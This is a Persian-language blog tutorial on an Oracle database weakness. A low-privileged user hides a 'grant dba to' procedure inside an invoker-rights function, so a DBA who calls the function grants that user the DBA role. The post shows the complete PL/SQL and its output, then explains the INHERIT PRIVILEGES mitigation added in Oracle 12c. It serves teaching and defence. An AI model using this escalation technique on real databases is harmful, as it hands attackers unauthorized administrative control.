INHERIT PRIVILEGE

قبلا در مورد invoker right و definer right مطلبی را ارائه کردیم(ادرس مطلب) و نشان دادیم که استفاده از عبارت AUTHID CURRENT_USER چه مزیت امنیتی ای را به همراه دارد اما استفاده از invoker right در زمانی که مجوزهای invoker از definer بیشتر باشد، نقایصی را هم به لحاظ امنیتی در برخواهد داشت که در ادامه با ارائه مثالی، به این نقصان خواهیم پرداخت.

فرض کنید کاربر usef، تابعی را ایجاد کرده است که نام افراد را به عنوان ورودی دریافت کرده و کد پرسنلی انها را برمی گرداند در همین محیط، چندین کاربر با دسترسی dba، این تابع را فراخوانی می کنند کاربر usef که دسترسی بسیار محدودی هم دارد، با اگاهی از این مطلب، می تواند از این فراخوانی ساده، نقش dba را از ان خود کند! چطور؟! ادامه را بخوانید.

فرض کنید کاربر usef، با مجوزهای زیر ایجاد شده است:

SQL> create user usef identified by a;

User created.

SQL> grant connect, create procedure to usef;

Grant succeeded.

همچنین متن تابع ایجاد شده توسط این کاربر، به صورت زیر می باشد:

create or replace function person_code(name in varchar2)

  return number authid current_user as

begin

if name=’usef’ then

    return 76451096;

    elsif name=’vahid’ then

    return 76451215;

end if;

end;

کاربر دیگری هم در این محیط وجود دارد که با دسترسی dba، از این تابع استفاده می کند:

SQL> create user dba_karbar identified by a;

User created.

SQL> grant dba to dba_karbar;

Grant succeeded.

حال اگر کاربر dba_karbar، تابع usef.person_code را فراخوانی کند، بدیهی است که خروجی درست را بدون هیچ مشکلی دریافت می کند:

SQL> conn dba_karbar/[email protected]

Connected.

SQL> select usef.person_code(‘usef’) code from dual;

CODE

———-

76451096

فرض کنید که کاربر usef از این مساله اگاه است(فراخوانی تابعش توسط کاربری که مجوز dba دارد)، به همین دلیل می خواهد از این حفره امنیتی بهرمند شود و از این طریق، مجوز dba را از ان خود کند! به همین جهت، کاربر usef، پروسیجر جدیدی را ایجاد می کند که در ان، مجوز dba را به خودش می دهد و در نهایت این پروسیجر را در متن تابع person_code صدا می زند.

متن پروسیجر:

SQL>  conn usef/[email protected]

Connected.

create or replace procedure dba_grant authid current_user as

  pragma autonomous_transaction;

begin

  execute immediate ‘grant dba to usef’;

exception

  when others then

    null;

end;

/

همچنین کاربر usef متن تابع person_code را به صورت زیر تغییر می دهد:

SQL>  conn usef/[email protected]

Connected.

create or replace function person_code(name in varchar2)

  return number authid current_user as

begin

  dba_grant;

if name=’usef’ then

    return 76451096;

    elsif name=’vahid’ then

    return 76451215;

end if;

end;

با این تغییر، در صورتی که این تابع توسط کاربر dba_karbar اجرا شود، مجوز dba به کاربر usef اهدا خواهد شد:

SQL> conn dba_karbar/[email protected]

Connected.

SQL> select GRANTEE from dba_role_privs where granted_role=’DBA’;

GRANTEE

——————————————————————————–

DBA_KARBAR

SYS

SYSTEM

SQL> select usef.person_code(‘usef’) code from dual;

code

———-

76451096

با اجرای مجدد دستور زیر، خواهیم دید که مجوز dba به کاربر usef اهدا شده است:

SQL> select GRANTEE from dba_role_privs where granted_role=’DBA’;

GRANTEE

——————-

USEF

DBA_KARBAR

SYS

SYSTEM

برای بررسی بیشتر، با دستور زیر، مجوز dba را از کاربر usef می گیریم:

SQL> revoke dba from usef;

Revoke succeeded.

همراه با ارائه اوراکل 12c، مجوز جدیدی به نام INHERIT [ANY] PRIVILEGES ارائه شد که با کمک ان می توان این حفره امنیتی را برطرف کرد. با ارائه این مجوز، invoker تنها زمانی می تواند با مجوز خودش(AUTHID CURRENT_USER) تابع مورد نظر را صدا بزند که مالک ان تابع، این مجوز(INHERIT PRIVILEGES) را بر روی invoker دارا باشد. این مجوز، به طور پیش فرض به همه کاربران(public) اهدا می شود(به جهت تامین backwards compatibility) ویوی user_tab_privs_made در این زمینه مفید می باشد:

SQL> select l.grantee,l.grantor,l.privilege from user_tab_privs_made l;

GRANTEE    GRANTOR    PRIVILEGE

———- ———- ——————–

PUBLIC     DBA_KARBAR    INHERIT PRIVILEGES

همچنین با دنبال کردن تریس دستور ساخت کاربر هم ردپای INHERIT PRIVILEGES را خواهیم یافت:

SQL> create user c##usef identified by a;

User created.

–in trace:

PARSING IN CURSOR #139725064743160 len=52 dep=1 uid=0 oct=17 lid=0 tim=744493602920 hv=360987955 ad=’681ade98′ sqlid=’gja9bn4as8g9m’

GRANT INHERIT PRIVILEGES ON USER “C##USEF” TO PUBLIC

END OF STMT

PARSE #139725064743160:c=0,e=539,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,plh=0,tim=744493602918

برای گرفتن این مجوز از یک کاربر، می توان از دستوری با ساختار زیر استفاده کرد:

GRANT INHERIT PRIVILEGES ON USER invoking_user TO procedure_owner;

پس برای جلوگیری از رخ دادن مجدد مسئله امنیتی پیش امده توسط کاربر usef، می توان دستور زیر را اجرا نمود:

SQL> revoke inherit privileges on user dba_karbar from public;

Revoke succeeded.

با این تغییر، کاربر usef هم مانند کاربران دیگر، نمی تواند از این حفره امنیتی بهرمند شود و اجرای تابع توسط کاربر dba_karbar، نه تنها نقش dba را به کاربر usef نخواهد داد بلکه سبب رخ دادن خطا هم خواهد شد:

SQL> select usef.person_code(‘usef’) code from dual;

ORA-06598: insufficient INHERIT PRIVILEGES privilege

نکته: درصورت حذف عبارت authid current_user در متن تابع person_code، این خطا رخ نخواهد داد(بدون در نظر گرفتن پروسیجر dba_grant).

همچنین می توان با دستور زیر، صرفا کاربر usef را از این قضیه مستثنی کرد:

SQL> grant inherit privileges on user dba_karbar to usef;

Grant succeeded.

SQL> select l.grantee,l.grantor,l.privilege from user_tab_privs_made l;

GRANTEE    GRANTOR    PRIVILEGE

———- ———- ——————–

USEF       DBA_KARBAR    INHERIT PRIVILEGES

بعد از اجرای این دستور و با فراخوانی مجدد تابع person_code توسط dba_karbar، مجددا کاربر usef، نقش dba خواهد گرفت:

SQL>  conn dba_karbar/[email protected]

Connected.

SQL> select usef.person_code(‘usef’) code from dual;

CODE

———-

76451096

SQL> select GRANTEE from dba_role_privs where granted_role=’DBA’;

GRANTEE

———-

USEF

DBA_KARBAR

SYS

SYSTEM

همچنین با اهدای مجوز inherit any privileges به یک کاربر، می توان آن کاربر را از همه محدودیتهای ایجاد شده با دستور revoke inherit privileges مستثنا کرد:

SQL> revoke dba from usef;

Revoke succeeded.

SQL> select l.grantee,l.grantor,l.privilege from user_tab_privs_made l;

no rows selected

SQL> select usef.person_code(‘usef’) code from dual;

ORA-06598: insufficient INHERIT PRIVILEGES privilege

SQL> grant inherit any privileges to usef;

Grant succeeded.

SQL> select l.grantee,l.grantor,l.privilege from user_tab_privs_made l;

no rows selected

SQL> select usef.person_code(‘usef’) code from dual;

CODE

———-

76451096

SQL> select GRANTEE from dba_role_privs where granted_role=’DBA’;

GRANTEE

———-

USEF

DBA_USR

SYS

SYSTEM

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *